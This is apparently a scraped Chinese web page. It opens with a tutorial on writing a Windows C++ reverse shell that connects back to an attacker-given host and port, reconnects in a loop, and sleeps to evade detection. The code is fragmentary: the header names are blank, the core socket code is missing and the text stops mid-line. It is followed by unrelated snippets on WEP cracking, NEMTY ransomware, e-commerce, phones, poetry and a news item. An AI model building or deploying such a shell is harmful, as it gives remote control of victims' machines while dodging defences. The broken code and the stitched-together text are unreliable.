渗透不会反弹shell?来教你写一个cmd的shell
包含的库:
#include
#include
#include
#include
#include
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
winsock2和ws2tcpip两个库文件是用来初始化 *** 套接字的。windows用来初始化一些windows下的函数,string方便我们后面的一些字符串转换,iostream则是标准的c++头文件,#pragma comment(lib,“Ws2_32.lib”)用来指定编译器使用静态编译该库文件,防止其他环境下无法正常运行我们的文件。1024为给socket的recv和send函数定义缓冲区长度。
我们定义一个函数和一个主函数,反向shell的函数RunShell,两个参数,一个是我们的host一个是ip。
int RunShell(char *host, int port){
}
int main(int argc, char** argv) {
}
其中的argc为调用的参数的个数,argv为具体的值。这里稍微要注意一下,在接受参数的时候,默认的之一个参数是文件的路径名,所以,我们在接下来的传参的过程中,需要将argv[1]、argv[2]传递给我们的RunShell。
下面我们来编写我们的RunShell函数,为了避免中间有断开之类的情况,我们使用一个while循环进行一直监听,然后监听之前进行一些休眠,可以绕过部分检测,代码如下:
基本上都已经给出来了注释,都是windows的api,具体的作用就是用来声明一个socket套接字,然后跟目标进行连接,如果失败,则跳出本次循环,继续发出请求。具体的用法,可以查看微软官方的文档:
我们继续,接下来我们来编写我们的接收函数,并进行处理。
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));//将RecvData清0
int RecvCode = recv(ShellSock, RecvData, DEFAULT_BUFLEN, 0);//接收数据
if (RecvCode
Hirte是破译无线网络WEP Key的一种攻击种类 只需客户端设备(笔记本,手机上等)联接过的无线网络,这些WIFI即便 是没有攻击者范畴内也都能被破译,由于该wifi的WEP密匙和环境变量依...
概? ? 况 近日,美创室验室发觉了一种全新升级的勒索病毒,依据它给被加密文档附加额外的文件后缀名,它被取名为“NEMTY”。它是该种类的勒索手机软件的第一个版本号,现阶段,尚不清楚NEMTY实际是...
随着互联网的快速发展,电商行业的发展也不容小觑。2020的电商也逐渐的从“数字化”走向“数智化”。那2020的电商行业应该如何发展,又有哪些增长机会呢? 近十年的中国互联网经济为消费增长带来了巨大...
红米作为小米主打的千元机品牌,深受小米发烧友们的喜爱,...
诗文中的塞北江南指的是银川。因为贺兰山位于宁夏境内,银川是宁夏的首府。银川平原北面的贺兰山脉绵亘250公里成了宁夏平原的天然屏障,南边则为。 元朝与西夏、明朝与鞑靼几个封建王朝在这里进行了长达几百年的...
新华社北京1月19日电题:我该如何保护你?遏制假期孩子意外伤害高发进行时 新华社记者 廖君 “孩子放寒假了,对家长来说又多了操不完的心。”武汉市民欧女士告诉记者,放假对孩子来说是快乐的,而对于家长...